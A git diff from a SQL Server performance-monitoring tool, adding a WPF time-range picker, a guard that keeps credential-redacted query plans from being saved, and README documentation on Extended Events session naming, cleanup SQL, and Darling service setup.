+    /// <summary>Holds <paramref name="spec"/> and raises <see cref="RangeChanged"/>, as if the user picked it. <c>false</c> (nothing held) when it cannot be resolved now.</summary>
+    public bool Select(TimeRangeSpec spec)
+    {
+        ArgumentNullException.ThrowIfNull(spec);
+        if (Refusal(spec) is not null || !spec.TryResolve(NowUtc, Zone, out var range, out _))
+        {
+            return false;
+        }
+
+        _value = spec;
+        Refresh();
+        RangeChanged?.Invoke(this, new TimeRangeChangedEventArgs(spec, range!));
+        return true;
+    }
+
+    /// <summary>Redraws the button, the resolved text and the notes: call it when the zone, the clock tick of a live range, <see cref="DataStartUtc"/> or <see cref="SampleInterval"/> changes.</summary>
+    public void Refresh()
+    {
+        DetailPanel.Visibility = _compact ? Visibility.Collapsed : Visibility.Visible;
+        if (!_value.TryResolve(NowUtc, Zone, out var range, out var error))
+        {
+            ButtonText.Text = _value.Name;
+            ResolvedText.Text = error!.Message;
+            NoteText.Visibility = Visibility.Collapsed;
+            PickerButton.ToolTip = error.Message;
+            return;
+        }
+
+        ButtonText.Text = ButtonLabel(range!);
+        ResolvedText.Text = range!.StartText + " - " + range.EndText + " (" + range.ZoneText + ")";
+        var notes = NotesFor(range);
+        NoteText.Text = notes;
+        NoteText.Visibility = notes.Length == 0 || _compact ? Visibility.Collapsed : Visibility.Visible;
+        PickerButton.ToolTip = notes.Length == 0 ? range.Label : range.Label + "\n" + notes;
+        UpdateSelectionMarks();
+    }
+
+    private DateTime NowUtc => TimeRangeSpec.Naive(NowProvider?.Invoke() ?? DateTime.UtcNow);
+
+    private static string ButtonLabel(ResolvedTimeRange range) => range.Spec.Kind switch
+    {
+        TimeRangeKind.Fixed => "Custom (" + range.Length + ")",
+        TimeRangeKind.Since => "Since " + range.StartText,
+        _ => range.Spec.Name
+    };
+
+    private string NotesFor(ResolvedTimeRange range)
+    {
+        var notes = new List<string>(2);
+        var dataStart = TimeRangeNotes.DataStartNote(range, _dataStartUtc);
+        if (dataStart is not null)
+        {
+            notes.Add(dataStart);
+        }
+
+        var sample = TimeRangeNotes.SampleIntervalNote(range.Span, _sampleInterval);
+        if (sample is not null)
+        {
+            notes.Add(sample);
+        }
+
+        return string.Join("  ", notes);
+    }
+
+    private void BuildPresetButtons()
+    {
+        foreach (var spec in TimeRangePresets.Rolling)
+        {
+            var button = new Button
+            {
+                Content = TimeRangePresets.ShortLabel(spec),
+                ToolTip = spec.Name,
+                MinWidth = 40,
+                Padding = new Thickness(6, 3, 6, 3),
+                Margin = new Thickness(0, 0, 4, 4),
+                Tag = spec
+            };
+            AutomationProperties.SetName(button, spec.Name);
+            button.Click += Preset_Click;
+            RollingPanel.Children.Add(button);
+            _rollingButtons.Add((button, spec));
+        }
+
+        foreach (var spec in TimeRangePresets.CalendarPeriods)
+        {
+            var length = new TextBlock { HorizontalAlignment = HorizontalAlignment.Right, VerticalAlignment = VerticalAlignment.Center };
+            length.SetResourceReference(TextBlock.ForegroundProperty, "ForegroundDimBrush");
+            var row = new Grid();
+            row.ColumnDefinitions.Add(new ColumnDefinition { Width = new GridLength(1, GridUnitType.Star) });
+            row.ColumnDefinitions.Add(new ColumnDefinition { Width = GridLength.Auto });
+            row.Children.Add(new TextBlock { Text = spec.Name, VerticalAlignment = VerticalAlignment.Center });
+            Grid.SetColumn(length, 1);
+            row.Children.Add(length);
+            var button = new Button
+            {
+                Content = row,
+                HorizontalContentAlignment = HorizontalAlignment.Stretch,
+                Padding = new Thickness(8, 3, 8, 3),
+                Margin = new Thickness(0, 0, 0, 2),
+                Tag = spec
+            };
+            AutomationProperties.SetName(button, spec.Name);
+            button.Click += Preset_Click;
+            PeriodPanel.Children.Add(button);
+            _periodButtons.Add((button, spec, length));
+        }
+    }
+
+    /// <summary>Greys the rolling presets a rolling-only picker cannot take (under one unit); a plain picker enables them all.</summary>
+    private void UpdateRollingButtons()
+    {
+        foreach (var (button, spec) in _rollingButtons)
+        {
+            var refusal = Refusal(spec);
+            button.IsEnabled = refusal is null;
+            button.ToolTip = refusal ?? spec.Name;
+        }
+    }
+
+    /// <summary>Fills each period's current length ("3d") from the clock and zone, and greys one that is under the minimum right now.</summary>
+    private void RefreshPeriodLengths()
+    {
+        var now = NowUtc;
+        var zone = Zone;
+        foreach (var (button, spec, length) in _periodButtons)
+        {
+            var text = TimeRangePresets.CurrentLength(spec, now, zone);
+            length.Text = text ?? string.Empty;
+            button.IsEnabled = text is not null;
+            button.ToolTip = text is null ? spec.Name + " has only just started. Pick another range." : spec.Name;
+        }
+    }
+
+    private void UpdateSelectionMarks()
+    {
+        foreach (var (button, spec) in _rollingButtons)
+        {
+            Mark(button, spec);
+        }
+
+        foreach (var (button, spec, _) in _periodButtons)
+        {
+            Mark(button, spec);
+        }
+    }
+
+    private void Mark(Button button, TimeRangeSpec spec)
+    {
+        var selected = spec.Equals(_value);
+        button.FontWeight = selected ? FontWeights.Bold : FontWeights.Normal;
+        if (selected)
+        {
+            button.SetResourceReference(Control.BorderBrushProperty, "AccentBrush");
+        }
+        else
+        {
+            button.ClearValue(Control.BorderBrushProperty);
+        }
+    }
+
+    private void PickerButton_Click(object sender, RoutedEventArgs e)
+    {
+        if (PickerPopup.IsOpen)
+        {
+            PickerPopup.IsOpen = false;
+            return;
+        }
+
+        /* The click that dismissed the popup (StaysOpen=False closes it on mouse down) arrives here as a Click too. */
+        if (Environment.TickCount64 - _closedAtTick < ReopenGuard.TotalMilliseconds)
+        {
+            return;
+        }
+
+        PickerPopup.IsOpen = true;
+    }
+
+    private void PickerPopup_Opened(object? sender, EventArgs e)
+    {
+        RefreshPeriodLengths();
+        UpdateSelectionMarks();
+        var wallNow = DisplayZone.ToDisplay(NowUtc, Zone);
+        PickCalendar.DisplayDateEnd = wallNow.Date;
+        PickCalendar.SelectedDates.Clear();
+        PickCalendar.DisplayDate = Resolve() is { } held ? DisplayZone.ToDisplay(held.StartUtc, Zone).Date : wallNow.Date;
+        InputBox.Clear();
+        UpdateEcho();
+        InputBox.Focus();
+        Dispatcher.BeginInvoke(DispatcherPriority.Loaded, new Action(ApplyCalendarTheme));
+    }
+
+    private void PickerPopup_Closed(object? sender, EventArgs e)
+    {
+        _closedAtTick = Environment.TickCount64;
+    }
+
+    private void Preset_Click(object sender, RoutedEventArgs e)
+    {
+        if (sender is Button { Tag: TimeRangeSpec spec })
+        {
+            Apply(spec);
+        }
+    }
+
+    private void Apply(TimeRangeSpec spec)
+    {
+        if (Select(spec))
+        {
+            PickerPopup.IsOpen = false;
+        }
+    }
+
+    private void InputBox_TextChanged(object sender, TextChangedEventArgs e) => UpdateEcho();
+
+    private void InputBox_KeyDown(object sender, KeyEventArgs e)
+    {
+        if (e.Key == Key.Enter)
+        {
+            ApplyTyped();
+            e.Handled = true;
+        }
+    }
+
+    private void ApplyButton_Click(object sender, RoutedEventArgs e) => ApplyTyped();
+
+    private void CancelButton_Click(object sender, RoutedEventArgs e) => PickerPopup.IsOpen = false;
+
+    private void PopupRoot_PreviewKeyDown(object sender, KeyEventArgs e)
+    {
+        if (e.Key == Key.Escape)
+        {
+            PickerPopup.IsOpen = false;
+            e.Handled = true;
+        }
+    }
+
+    private void ApplyTyped()
+    {
+        if (_typed is { Ok: true, Spec: { } spec })
+        {
+            Apply(spec);
+        }
+    }
+
+    /// <summary>Parses the text box and shows the resolved range (and any notes) before Apply, or the reason it failed.</summary>
+    private void UpdateEcho()
+    {
+        var text = InputBox.Text;
+        if (string.IsNullOrWhiteSpace(text))
+        {
+            _typed = null;
+            ApplyButton.IsEnabled = false;
+            EchoText.Text = _rollingUnit is null
+                ? "Examples: 45m, 3 days, last month, Oct 1 - Oct 2, 1:00 am - 7:00 am, since 10/1"
+                : "Examples: 4h, 3 days, 2 weeks";
+            EchoText.SetResourceReference(TextBlock.ForegroundProperty, "ForegroundDimBrush");
+            return;
+        }
+
+        _typed = TimeRangeParser.Parse(text, NowUtc, Zone);
+        if (_typed.Ok && _typed.Spec is { } typedSpec && Refusal(typedSpec) is { } refusal)
+        {
+            _typed = null;
+            EchoText.Text = refusal;
+            EchoText.SetResourceReference(TextBlock.ForegroundProperty, "ErrorBrush");
+            ApplyButton.IsEnabled = false;
+            return;
+        }
+
+        if (_typed.Ok)
+        {
+            var notes = NotesFor(_typed.Range!);
+            EchoText.Text = notes.Length == 0 ? _typed.Echo : _typed.Echo + "\n" + notes;
+            EchoText.SetResourceReference(TextBlock.ForegroundProperty, "ForegroundBrush");
+            ApplyButton.IsEnabled = true;
+        }
+        else
+        {
+            EchoText.Text = _typed.Error;
+            EchoText.SetResourceReference(TextBlock.ForegroundProperty, "ErrorBrush");
+            ApplyButton.IsEnabled = false;
+        }
+    }
+
+    private void PickCalendar_SelectedDatesChanged(object? sender, SelectionChangedEventArgs e)
+    {
+        if (PickCalendar.SelectedDates.Count == 0)
+        {
+            return;
+        }
+
+        var first = PickCalendar.SelectedDates.Min();
+        var last = PickCalendar.SelectedDates.Max();
+        var thisYear = DisplayZone.ToDisplay(NowUtc, Zone).Year;
+        var showYear = first.Year != thisYear || last.Year != thisYear;
+        var format = showYear ? "MMM d, yyyy" : "MMM d";
+        var text = first == last
+            ? first.ToString(format, CultureInfo.InvariantCulture)
+            : first.ToString(format, CultureInfo.InvariantCulture) + " - " + last.ToString(format, CultureInfo.InvariantCulture);
+        InputBox.Text = text;
+        InputBox.CaretIndex = text.Length;
+    }
+
+    // ---- calendar theming (replaces the per-app copies of ApplyThemeToCalendar) ----
+
+    private Brush Res(string key, Brush fallback)
+        => TryFindResource(key) as Brush ?? fallback;
+
+    private static bool IsDark(Brush background)
+        => background is SolidColorBrush solid
+           && (0.299 * solid.Color.R + 0.587 * solid.Color.G + 0.114 * solid.Color.B) < 128;
+
+    /// <summary>Paints the calendar from the theme's brushes: the stock Calendar template is light, so a dark theme needs its chrome recoloured.</summary>
+    private void ApplyCalendarTheme()
+    {
+        var background = Res("BackgroundBrush", Brushes.White);
+        var foreground = Res("ForegroundBrush", Brushes.Black);
+        var border = Res("BorderBrush", Brushes.Gray);
+        PickCalendar.Background = background;
+        PickCalendar.Foreground = foreground;
+        PickCalendar.BorderBrush = border;
+        PaintCalendarTree(PickCalendar, background, foreground, IsDark(background));
+    }
+
+    private static void PaintCalendarTree(DependencyObject parent, Brush background, Brush foreground, bool dark)
+    {
+        for (var i = 0; i < VisualTreeHelper.GetChildrenCount(parent); i++)
+        {
+            var child = VisualTreeHelper.GetChild(parent, i);
+            switch (child)
+            {
+                case CalendarItem item:
+                    item.Background = background;
+                    item.Foreground = foreground;
+                    break;
+                case CalendarDayButton day:
+                    if (!day.IsSelected)
+                    {
+                        day.Background = Brushes.Transparent;
+                    }
+
+                    day.Foreground = foreground;
+                    break;
+                case CalendarButton month:
+                    month.Background = Brushes.Transparent;
+                    month.Foreground = foreground;
+                    break;
+                case Button button:
+                    button.Background = Brushes.Transparent;
+                    button.Foreground = foreground;
+                    break;
+                case TextBlock text:
+                    text.Foreground = foreground;
+                    break;
+                case Border border when dark && border.Background is SolidColorBrush bg && bg.Color.R > 200 && bg.Color.G > 200 && bg.Color.B > 200:
+                    border.Background = background;
+                    break;
+                case Grid grid when dark && grid.Background is SolidColorBrush gridBg && gridBg.Color.R > 200 && gridBg.Color.G > 200 && gridBg.Color.B > 200:
+                    grid.Background = background;
+                    break;
+            }
+
+            PaintCalendarTree(child, background, foreground, dark);
+        }
+    }
+}
diff --git a/PerformanceMonitor.Ui/WithheldPlanGuard.cs b/PerformanceMonitor.Ui/WithheldPlanGuard.cs
new file mode 100644
index 0000000000..4132ea1a19
--- /dev/null
+++ b/PerformanceMonitor.Ui/WithheldPlanGuard.cs
@@ -0,0 +1,56 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Windows;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Ui;
+
+/// <summary>
+/// #5320 (the plan viewers half of #4348): a stored or live plan the statement filter withheld whole is the marker
+/// (<see cref="SensitiveStatements.PlaceholderText"/>), not a plan. The plan viewer shows it as withheld
+/// (<see cref="SensitiveStatements.WithheldPlanSentence"/>) rather than as a parse error, and every site that writes
+/// a plan to a <c>.sqlplan</c> file asks <see cref="RefuseSave"/> first, so the marker is never saved as if it were
+/// a plan. Shared by Lite and the Darling viewer (both reach it through this project).
+/// </summary>
+public static class WithheldPlanGuard
+{
+    /// <summary>The sentence to show for <paramref name="planXml"/> when it is the whole-plan marker; null for a
+    /// real plan, an empty string and null (those keep their own messages).</summary>
+    public static string? WithheldSentence(string? planXml) =>
+        SensitiveStatements.IsWithheldPlan(planXml) ? SensitiveStatements.WithheldPlanSentence : null;
+
+    /// <summary>
+    /// The withheld sentence for something other than a plan (a deadlock graph, a blocked process report):
+    /// the same words as <see cref="SensitiveStatements.WithheldPlanSentence"/> with <paramref name="subject"/> in
+    /// place of "plan". For "plan" it returns that sentence itself.
+    /// </summary>
+    public static string WithheldSentenceFor(string subject) =>
+        string.Equals(subject, "plan", StringComparison.Ordinal)
+            ? SensitiveStatements.WithheldPlanSentence
+            : $"This {subject} was withheld by the statement filter (#4348).";
+
+    /// <summary>
+    /// True when <paramref name="planXml"/> is the whole-plan marker; the sentence is then shown in a message box
+    /// and the caller must not write the file. False for anything else, and nothing is shown. <paramref name="subject"/>
+    /// names what is being saved in that sentence and in the box title (#5367: a withheld deadlock graph or blocked
+    /// process report is not "a plan"); the plan save sites keep the default.
+    /// </summary>
+    public static bool RefuseSave(string? planXml, string subject = "plan")
+    {
+        if (!SensitiveStatements.IsWithheldPlan(planXml))
+        {
+            return false;
+        }
+
+        var title = char.ToUpperInvariant(subject[0]).ToString() + subject.Substring(1) + " Withheld";
+        MessageBox.Show(WithheldSentenceFor(subject), title, MessageBoxButton.OK, MessageBoxImage.Information);
+        return true;
+    }
+}
diff --git a/README.md b/README.md
index 98416e4534..bfb676a848 100644
--- a/README.md
+++ b/README.md
@@ -68,7 +68,7 @@ All editions include real-time alerts (email + webhooks), charts and graphs, dar
 
 🤖 **Built-in MCP server** with read-only tools for AI analysis — ask Claude Code or Cursor "what are the top wait types on my server?" and get answers from your actual monitoring data
 
-🔒 **Your data never leaves** — no telemetry, no cloud dependency, no phoning home. Credentials stored in Windows Credential Manager with OS-level encryption.
+🔒 **Your data never leaves** — no telemetry, no cloud dependency, no phoning home. Credentials stored in Windows Credential Manager with OS-level encryption. Statement text that can carry a credential, such as `CREATE LOGIN` or a `PASSWORD =` literal, reads `-- statement text withheld (#4348)` in alerts and plan analysis. Darling also withholds it from collected data, MCP answers and web pages.
 
 ---
 
@@ -171,6 +171,96 @@ That was not always true: through 3.5.0 the ZIP was a portable build with no run
 
 Darling runs this same shared collector set across a fleet of servers (latch stats, spinlock stats, CPU scheduler, plan cache, and system_health parsing are now part of the shared catalog above, collected by Lite too) — see the [Darling collector reference](Darling/README.md).
 
+### The Extended Events Sessions Lite Creates
+
+Each Lite install has an eight-character id. Lite makes it at the first start and keeps it in `install-id.json`, in the data folder `%LOCALAPPDATA%\PerformanceMonitorLite-Data\`. The id appears in the name of each session that belongs to this install alone. Two installs that monitor one server never share such a session, so one install cannot drop or stop the other's.
+
+If Lite cannot read `install-id.json` (another program holds it open, or the read fails), it leaves the file as it is and uses no id until it can read it. If it cannot save a new id, it does not use that id either. With no id, Lite creates, starts and drops no session of its own, and the long-query trace records why as a fault. The next collection cycle tries again, at most once a minute. The log says it once as a Warning with the error, then at Debug until the id is read. A file that holds something other than an id record still gets a new id.
+
+#### The sessions
+
+- `PerformanceMonitor_Lite_<id>_LongQueryCompletions` is this install's long-query trace. Lite creates it while the opt-in `long_query_completions` collector is on. It is created with `STARTUP_STATE = OFF`, so it stays stopped after a server restart. Each check starts it again when it finds it stopped.
+- `PerformanceMonitor_Deadlock` and `PerformanceMonitor_BlockedProcess` keep their shared names, because Darling and other installs read them too. Lite never drops them. It checks each one whenever its collector runs. It creates a missing one and starts a stopped one, so a deliberate stop does not last.
+- On Azure SQL Database, a shared session can stay unusable after a start. Lite then creates `PerformanceMonitor_Lite_<id>_Deadlock` or `PerformanceMonitor_Lite_<id>_BlockedProcess` in that database, with `STARTUP_STATE = OFF`, and reads that one. When the shared session works again, Lite switches back and drops its own fallback.
+
+#### The old shared session
+
+Earlier versions shared one session, `PerformanceMonitor_LongQueryCompletions`, between all installs. An upgraded install drops it once for each registration and database. It then records that drop and never touches the session again. If an older install creates it again later, Lite logs one Information line per start and leaves the session alone. To remove it, run the statements under "Cleaning up by hand" below.
+
+#### Removing a server
+
+Removing a server drops this install's sessions on it. These are the long-query session and its own deadlock and blocked-process fallbacks. Lite makes one attempt, within 15 seconds. A failed drop is logged and never stops the removal.
+
+Lite leaves a session that another registration of this install keeps. On premises, it also leaves the session when it cannot tell whether another registration of this install shares the instance. That happens when the instance name of this server is not known. Lite logs the reason. The two shared sessions stay on the server.
+
+#### Registrations that share an instance
+
+On premises, a registration with the trace off leaves the long-query session in place when another registration of this install has the trace on. Both registrations must point at the same instance. Lite compares the last known `@@SERVERNAME` of each one.
+
+#### Read-only intent on Azure SQL Database
+
+A session cannot be created over a read-only connection. For a registration with read-only intent, Lite creates the session definition over a connection without the intent. The definition replicates to the read-only replica. Lite then starts the session over the registration's own connection. A drop stops the session on the replica first, then drops it on the primary. Microsoft describes the method in [Monitor read-only replicas with Extended Events](https://learn.microsoft.com/en-us/azure/azure-sql/database/read-scale-out). On Hyperscale with several high-availability replicas, a read-only connection lands on one replica that the app cannot choose, so the stop reaches only that one. Microsoft Learn describes no way to address a single high-availability replica; it says the read-intent workload is distributed arbitrarily across them ([Connect to an HA replica](https://learn.microsoft.com/en-us/azure/azure-sql/database/service-tier-hyperscale-replicas#connect-to-an-ha-replica)).
+
+A Managed Instance registration with read-only intent needs the trace started on the primary first. Lite does not do that, so the registration gets the read-only message (error 3906). A registration without the intent can land on a read-only database, such as a geo-secondary. It gets one clear message, and Lite retries the create every hour.
+
+#### Azure SQL Database limits
+
+Microsoft Learn lists these caps under "Resource governance" on [Extended Events in Azure SQL](https://learn.microsoft.com/en-us/azure/azure-sql/database/xevent-db-diff-from-svr). A database holds at most 100 started sessions. An elastic pool holds at most 100 database-scoped sessions. Session memory is capped at 128 MB per database and 512 MB per pool. In a dense pool, a start can fail below 100 sessions.
+
+Each install uses one long-query session per database while the trace is on. It adds up to two fallbacks while a shared session is unusable. A failed create or start on Azure SQL Database carries a sentence that names these caps.
+
+#### Known limits
+
+- An older Darling with the trace on loses capture once for each upgraded install, until it reconnects.
+- An older Lite creates the old session again within one collection cycle.
+- Two registrations of one instance in one install drop the old session twice.
+- A lost record costs one more drop. This happens when you recreate the Lite data folder.
+- On RDS Multi-AZ, the drop reaches the primary only. The copy on the standby stays stopped after a failover, unless an older install starts it.
+- On Hyperscale with several high-availability replicas, the stop reaches only the replica that a read-only connection lands on. A copy of the session that runs on another replica is not stopped. Microsoft Learn describes no way to address one high-availability replica: [Connect to an HA replica](https://learn.microsoft.com/en-us/azure/azure-sql/database/service-tier-hyperscale-replicas#connect-to-an-ha-replica).
+- On Azure SQL Database, two registrations of one database with different logins share one session name, as before.
+
+#### Clones
+
+A clone of the whole machine, such as a VM snapshot, keeps the machine name and the Windows user. It also keeps the install id. The clone and the original then use the same session names on every server both monitor.
+
+To give the clone its own id, delete `install-id.json` and restart Lite. Lite makes a new id at start. A data folder that you copy to another machine gets a new id on its own. So does a data folder that another Windows user opens. Import Settings does not carry the file.
+
+#### Cleaning up by hand
+
+Lite has no command that drops sessions, so run the statements below yourself. Replace `<id>` with the `id` value in `install-id.json`. Each statement checks that the session exists first, so a run that finds nothing changes nothing.
+
+The login needs the permission that [Microsoft Learn's `DROP EVENT SESSION` page](https://learn.microsoft.com/en-us/sql/t-sql/statements/drop-event-session-transact-sql) requires. On SQL Server and Azure SQL Managed Instance that is `DROP ANY EVENT SESSION` (SQL Server 2022 and later) or `ALTER ANY EVENT SESSION`. On Azure SQL Database it is `DROP ANY DATABASE EVENT SESSION`, in each database.
+
+Server scope (SQL Server, Azure SQL Managed Instance and AWS RDS). The first statement drops the old shared session. The second drops this install's own session. Lite makes the deadlock and blocked-process fallbacks in Azure SQL Database only, so a server has none to drop.
+
+```sql
+IF EXISTS (SELECT 1/0 FROM sys.server_event_sessions AS ses WHERE ses.name = N'PerformanceMonitor_LongQueryCompletions')
+    DROP EVENT SESSION [PerformanceMonitor_LongQueryCompletions] ON SERVER;
+
+IF EXISTS (SELECT 1/0 FROM sys.server_event_sessions AS ses WHERE ses.name = N'PerformanceMonitor_Lite_<id>_LongQueryCompletions')
+    DROP EVENT SESSION [PerformanceMonitor_Lite_<id>_LongQueryCompletions] ON SERVER;
+```
+
+Database scope (Azure SQL Database). Run these four statements in each monitored database.
+
+```sql
+IF EXISTS (SELECT 1/0 FROM sys.database_event_sessions AS des WHERE des.name = N'PerformanceMonitor_LongQueryCompletions')
+    DROP EVENT SESSION [PerformanceMonitor_LongQueryCompletions] ON DATABASE;
+
+IF EXISTS (SELECT 1/0 FROM sys.database_event_sessions AS des WHERE des.name = N'PerformanceMonitor_Lite_<id>_LongQueryCompletions')
+    DROP EVENT SESSION [PerformanceMonitor_Lite_<id>_LongQueryCompletions] ON DATABASE;
+
+IF EXISTS (SELECT 1/0 FROM sys.database_event_sessions AS des WHERE des.name = N'PerformanceMonitor_Lite_<id>_Deadlock')
+    DROP EVENT SESSION [PerformanceMonitor_Lite_<id>_Deadlock] ON DATABASE;
+
+IF EXISTS (SELECT 1/0 FROM sys.database_event_sessions AS des WHERE des.name = N'PerformanceMonitor_Lite_<id>_BlockedProcess')
+    DROP EVENT SESSION [PerformanceMonitor_Lite_<id>_BlockedProcess] ON DATABASE;
+```
+
+If the registration used read-only intent, first stop the session over a read-only connection with `ALTER EVENT SESSION [name] ON DATABASE STATE = STOP;`. Then run the drop over a connection without the intent, which reaches the primary. On Hyperscale with several high-availability replicas, the stop reaches only the replica that a read-only connection lands on. A copy of the session that runs on another replica is not stopped. Microsoft Learn describes no way to address one high-availability replica: [Connect to an HA replica](https://learn.microsoft.com/en-us/azure/azure-sql/database/service-tier-hyperscale-replicas#connect-to-an-ha-replica).
+
+The shared `PerformanceMonitor_Deadlock` and `PerformanceMonitor_BlockedProcess` sessions need the same statements with those names. Run them only when no other install monitors the server, because every install that monitors it uses them.
+
 ### Lite Data Storage
 
 All data is stored in `%LOCALAPPDATA%\PerformanceMonitorLite-Data\` — a different folder from the install directory (`%LOCALAPPDATA%\PerformanceMonitorLite\`), so neither an in-app update nor re-running `Setup.exe` can disturb it. Data from an older install is moved into the new folder automatically the first time this version starts.
@@ -178,6 +268,7 @@ All data is stored in `%LOCALAPPDATA%\PerformanceMonitorLite-Data\` — a differ
 - **Hot data** in DuckDB 1.5.2 — non-blocking checkpoints, free block reuse, stable file size without periodic resets
 - **Archive** to Parquet with ZSTD compression (~10x reduction) — automatic monthly compaction keeps file count low (~75 files vs thousands)
 - **Retention**: 3-month calendar-month rolling window
+- **Memory limit**: DuckDB's memory limit is a setting (Settings, Dashboard Defaults, "DuckDB memory limit"). The default is 2 GB, and it can go from 1 GB up to 80% of memory. A change applies after a restart.
 - Typical size: ~50–200 MB per server per week
 
 ### Lite Configuration
@@ -186,7 +277,7 @@ All data is stored in `%LOCALAPPDATA%\PerformanceMonitorLite-Data\` — a differ
 |---|---|---|
 | `servers.json` | `%ProgramData%\PerformanceMonitorLite\config\` (machine-wide) | Server connections, shared across all Windows users on the machine. Passwords stay per-user in Windows Credential Manager. Optional **Utility Database** per server for community procs installed outside master. |
 | `settings.json` | `%LOCALAPPDATA%\PerformanceMonitorLite-Data\config\` (per-user) | Retention, MCP server, startup behavior, alert thresholds, SMTP configuration |
-| `collection_schedule.json` | `%LOCALAPPDATA%\PerformanceMonitorLite-Data\config\` (per-user) | Per-collector enable/disable and frequency |
+| `collection_schedule.json` | `%LOCALAPPDATA%\PerformanceMonitorLite-Data\config\` (per-user) | Per-collector enable/disable and frequency. A collector that runs once a day or less often can also have a `run_at` time, so it runs in a quiet hour. That time is 24-hour `HH:MM` on the monitored server's clock, and you set it in the schedule editor. Each server starts at that time plus its own spread of under 60 minutes, and a run can start up to 60 minutes after that slot, so a run can start nearly 2 hours after `run_at`. It runs only while Lite is open. A day is skipped only when Lite was closed from the slot until 60 minutes after it. |
 | `ignored_wait_types.json` | `%LOCALAPPDATA%\PerformanceMonitorLite-Data\config\` (per-user) | 126 benign wait types excluded by default |
 
 When a second Windows user on the same machine launches Lite, they see the shared `servers.json` immediately. SQL Auth and Entra MFA passwords are scoped to each user's own Credential Manager, so they'll be prompted once per server; Windows Auth works without any prompt.
@@ -195,19 +286,30 @@ When a second Windows user on the same machine launches Lite, they see the share
 
 ## Quick Start — Darling (headless)
 
-**Darling** is the always-on edition for teams that want 24/7 collection without a desktop app driving it: a service on Windows or Linux collects from your SQL Server and PostgreSQL servers around the clock into a central PostgreSQL store (TimescaleDB is detected and adopted automatically for compression and chunk-based retention), and a detached WPF viewer reads that store from any Windows seat. It runs the same monitoring brain as Lite — collectors, alert engine, and analysis pipeline shared at the library level — with alerts over email and webhooks (Teams, Slack, PagerDuty, and generic HTTP POST) and the same MCP tool surface available on request. An optional built-in **web dashboard** (off by default, its own port 5153) serves the fleet overview, per-server drill-down, the scheduled fleet sweep reports, and alert history to any browser — read-only over the collected data, plus seat-gated config writes (saved views, custom alert rules, and the mute-rule API) — so operators can watch the fleet without installing the viewer.
+**Darling** is the always-on edition for teams that want 24/7 collection without a desktop app driving it: a service on Windows or Linux collects from your SQL Server and PostgreSQL servers around the clock into a central PostgreSQL store (TimescaleDB is detected and adopted automatically for compression and chunk-based retention), and a detached WPF viewer reads that store from any Windows seat. It runs the same monitoring brain as Lite — collectors, alert engine, and analysis pipeline shared at the library level — with alerts over email and webhooks (Teams, Slack, PagerDuty, and generic HTTP POST) and the same MCP tool surface available on request.
+
+The optional built-in web dashboard is off by default and uses its own port, 5153. It serves the fleet overview, per-server drill-down, FinOps, the scheduled fleet sweep reports, alert history, job history, and an Admin page to any browser. It reads the collected data. A seat that is allowed to make changes can also do these things:
+
+- save views, and edit alert rules and mute rules
+- dismiss alerts
+- manage server tags
+- add or edit a monitored server
+
+Operators can watch the fleet without installing the viewer. See [Tabs](#tabs) for the pages.
 
-1. Download **`PerformanceMonitorDarling-<version>.zip`** from the [latest release](https://github.com/erikdarlingdata/PerformanceMonitor/releases/latest) — the signed service and viewer with the bundled PostgreSQL + TimescaleDB runtime beside the service exe, so a from-zero install needs no database provisioning.
+1. Download **`PerformanceMonitorDarling-<version>.zip`** from the [latest release](https://github.com/erikdarlingdata/PerformanceMonitor/releases/latest) — the signed service and viewer with the bundled PostgreSQL + TimescaleDB runtime beside the service exe, so a from-zero install needs no database provisioning. Both are framework-dependent, so the machine needs the .NET Runtime 10 and the ASP.NET Core Runtime 10. The ASP.NET Core Hosting Bundle 10 installs both. `install-darling.ps1` refuses to install when either one is missing. It warns when the .NET Desktop Runtime 10, which the viewer needs, is missing.
 2. Copy `darling.sample.json` to `darling.json` and add your servers (and optional SMTP / webhook delivery). In managed mode the service unpacks and runs its own PostgreSQL — no external database to set up. For a PostgreSQL server, set `"engine": "postgres"` on its entry (see [PostgreSQL Targets](Darling/README.md#postgresql-targets)).
 3. Run the service (console for a trial, or install it as a Windows service). It seeds the store and begins collecting on the same default cadences and retention horizons as a fresh Lite install.
 4. Start the **Darling Viewer**. It is in the same zip, under `viewer\`, and `install-darling.ps1` leaves a Desktop shortcut. On the service host there is nothing to point at anything: it finds the same `darling.json`, derives the store connection, and opens on the fleet. For a seat on another machine, run `--export-viewer-config` on the service host and copy the folder it writes.
 5. Optionally turn on the two off-by-default surfaces: `--enable-web` serves the browser dashboard on port 5153, `--enable-mcp` serves the MCP endpoint on 5152. Both take effect live, no restart.
 
-These steps are for Windows. On Linux, run the service under Docker Compose with the official TimescaleDB image. You can also run it under systemd with a PostgreSQL server that you already run. The bundled store is Windows-only. See [Run on Linux](Darling/README.md#run-on-linux-docker-compose-or-systemd-1804) in the operator guide.
+These steps are for Windows. On Linux, run the service under Docker Compose with the official TimescaleDB image. You can also run it under systemd with a PostgreSQL server that you already run, version 16 or later. The bundled store is Windows-only.
+
+On Linux, the service keeps a key pair and seals secrets to it, so it can save and use them. The secrets are a SQL login password, the SMTP password, webhook URLs, the PagerDuty key, and generic webhook headers. `--reset-password-key` makes a new key. See [Run on Linux](Darling/README.md#run-on-linux-docker-compose-or-systemd-1804) in the operator guide.
 
 **Never done this before?** [**docs/uat-onboarding.md**](docs/uat-onboarding.md) is the ordered path from a downloaded zip to all three surfaces — the WPF viewer, the web dashboard, and MCP — with the log line, HTTP response, or screen that proves each step worked, and the handful of things that reliably catch people out.
 
-Configuration is a single JSON file with no schedule knobs. See the **[Darling operator guide](Darling/README.md)** for the configuration reference, permissions, and operations.
+Configuration is a single JSON file with no schedule knobs. One exception: a collector that runs once a day or less often can have a run time. That is a time of day on the monitored server's own clock. Set it in the viewer's Collector Schedules window (the **Run at** column) or with `--set-collector-run-at`. See the **[Darling operator guide](Darling/README.md)** for the configuration reference, permissions, and operations.
 
 ---
 
@@ -226,8 +328,9 @@ Configuration is a single JSON file with no schedule knobs. See the **[Darling o
 | Standalone plan viewer | Open/paste/drag `.sqlplan` | Open/paste/drag `.sqlplan` | Open/paste/drag `.sqlplan` |
 | Alerts (tray + email + webhooks) | Yes | Email + webhooks (headless) | Yes |
 | Themes | Dark and light | Dark and light | Dark and light |
+| Web dashboard | Not available | Optional, off by default (port 5153) | Not available |
